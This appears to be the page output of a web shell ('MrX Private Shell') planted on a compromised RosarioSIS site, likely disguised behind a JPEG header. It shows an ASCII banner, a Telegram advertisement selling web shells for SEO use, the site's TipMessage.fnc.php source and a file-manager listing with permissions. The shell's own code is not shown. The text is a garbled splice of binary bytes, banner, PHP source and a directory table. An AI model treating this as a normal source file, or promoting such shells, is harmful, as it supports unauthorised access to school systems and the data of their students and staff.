����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Tip Message functions
*
* @uses DHTML tip message JS plugin
*
* @see assets/js/tipmessage/
*
* @package RosarioSIS
* @subpackage ProgramFunctions
*/
/**
* Make Tip Message
*
* @example makeTipMessage( '<img src="' . URLEscape( $picture_path ) . '" width="150">', $title, $title );
*
* @todo Use CSS class + ID to trigger plugin and remove inline JS (data attributes) + onMouseOver + onMouseOut + onclick
*
* @uses DHTML tip message JS plugin
*
* @see assets/js/tipmessage/
*
* @param string $message Tip message.
* @param string $title Tip title.
* @param string $label Tip label.
*
* @return string Tip Message
*/
function MakeTipMessage( $message, $title, $label )
{
static $tip_msg_ID = 1;
if ( isset( $_REQUEST['_ROSARIO_PDF'] ) )
{
return '<div class="tipmsg-label">' . $label . '</div>';
}
$tip_msg = '<script>var tipmsg' . $tip_msg_ID . '=[' .
json_encode( (string) $title ) . ',' .
json_encode( (string) $message ) . '];</script>';
$tip_msg .= '<div class="tipmsg-label" onMouseOver="stm(tipmsg' . $tip_msg_ID . ');">' .
$label . '</div>';
$tip_msg_ID++;
return $tip_msg;
}
/**
* Make Student Photo Tip Message
* Look for current & previous school year Photos
*
* @example require_once 'ProgramFunctions/TipMessage.fnc.php';
* return MakeStudentPhotoTipMessage( $THIS_RET['STUDENT_ID'], $full_name );
*
* @uses MakeTipMessage()
* @uses DHTML tip message JS plugin
*
* @see assets/js/tipmessage/
*
* @global $StudentPicturesPath Student Pictures Path
*
* @param string $student_id Student ID.
* @param string $title Tip title & label.
*
* @return string Student Photo Tip Message or $title if no Photo found
*/
function MakeStudentPhotoTipMessage( $student_id, $title )
{
global $StudentPicturesPath;
// @since 9.0 Fix Improper Access Control security issue: add random string to photo file name.
$picture_path = (array) glob( $StudentPicturesPath . '*/' . $student_id . '.*jpg' );
$picture_path = end( $picture_path );
if ( $picture_path )
{
return MakeTipMessage( '<img src="' . URLEscape( $picture_path ) . '" width="150">', $title, $title );
}
return $title;
}
/**
* Make User Photo Tip Message
* Look for current & previous school year Photos
*
* @example require_once 'ProgramFunctions/TipMessage.fnc.php';
* return MakeUserPhotoTipMessage( $THIS_RET['STAFF_ID'], $full_name, $THIS_RET['ROLLOVER_ID'] );
*
* @since 3.8
*
* @uses MakeTipMessage()
* @uses DHTML tip message JS plugin
*
* @see assets/js/tipmessage/
*
* @global $UserPicturesPath User Pictures Path
*
* @param string $staff_id Staff ID.
* @param string $title Tip title & label.
* @param int $staff_rollover_id Staff Rollover ID (to get last year's photo). Defaults to 0.
*
* @return string User Photo Tip Message or $title if no Photo found
*/
function MakeUserPhotoTipMessage( $staff_id, $title, $staff_rollover_id = 0 )
{
global $UserPicturesPath;
// @since 9.0 Fix Improper Access Control security issue: add random string to photo file name.
$picture_path = (array) glob( $UserPicturesPath . UserSyear() . '/' . $staff_id . '.*jpg' );
$picture_path = end( $picture_path );
if ( ! $picture_path
&& $staff_rollover_id )
{
// Use Last Year's if Missing.
// @since 9.0 Fix Improper Access Control security issue: add random string to photo file name.
$picture_path = (array) glob( $UserPicturesPath . ( UserSyear() - 1 ) . '/' . $staff_rollover_id . '.*jpg' );
$picture_path = end( $picture_path );
}
if ( $picture_path )
{
return MakeTipMessage( '<img src="' . URLEscape( $picture_path ) . '" width="150">', $title, $title );
}
return $title;
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| PHPCompatibility | Folder | 0755 |
|
|
| Charts.fnc.php | File | 6.03 KB | 0644 |
|
| Dashboard.fnc.php | File | 2.79 KB | 0644 |
|
| DashboardModule.fnc.php | File | 6.17 KB | 0644 |
|
| Debug.fnc.php | File | 1.56 KB | 0644 |
|
| Fields.fnc.php | File | 20.17 KB | 0644 |
|
| FileUpload.fnc.php | File | 25.36 KB | 0644 |
|
| FirstLogin.fnc.php | File | 9.19 KB | 0644 |
|
| HackingLog.fnc.php | File | 2.41 KB | 0644 |
|
| Help.fnc.php | File | 5.03 KB | 0644 |
|
| Linkify.fnc.php | File | 1.19 KB | 0644 |
|
| MailingLabel.fnc.php | File | 3.7 KB | 0644 |
|
| MarkDownHTML.fnc.php | File | 6.87 KB | 0644 |
|
| PortalPollsNotes.fnc.php | File | 14.16 KB | 0644 |
|
| README | File | 267 B | 0644 |
|
| SchoolPeriodsSelectInput.fnc.php | File | 3.15 KB | 0644 |
|
| SendEmail.fnc.php | File | 5.05 KB | 0644 |
|
| SendNotification.fnc.php | File | 10.85 KB | 0644 |
|
| StudentsUsersInfo.fnc.php | File | 23.68 KB | 0644 |
|
| Substitutions.fnc.php | File | 7.63 KB | 0644 |
|
| Template.fnc.php | File | 3.21 KB | 0644 |
|
| Theme.fnc.php | File | 1.93 KB | 0644 |
|
| TipMessage.fnc.php | File | 3.7 KB | 0644 |
|
| Update.fnc.php | File | 35.17 KB | 0644 |
|
| UpdateV2_3.fnc.php | File | 16.27 KB | 0644 |
|
| UpdateV4_5.fnc.php | File | 58.61 KB | 0644 |
|
| UpdateV6_8_9.fnc.php | File | 22.19 KB | 0644 |
|
| UserAgent.fnc.php | File | 1.68 KB | 0644 |
|
| _makeLetterGrade.fnc.php | File | 4.03 KB | 0644 |
|
| _makePercentGrade.fnc.php | File | 2.73 KB | 0644 |
|
| miscExport.fnc.php | File | 2.17 KB | 0644 |
|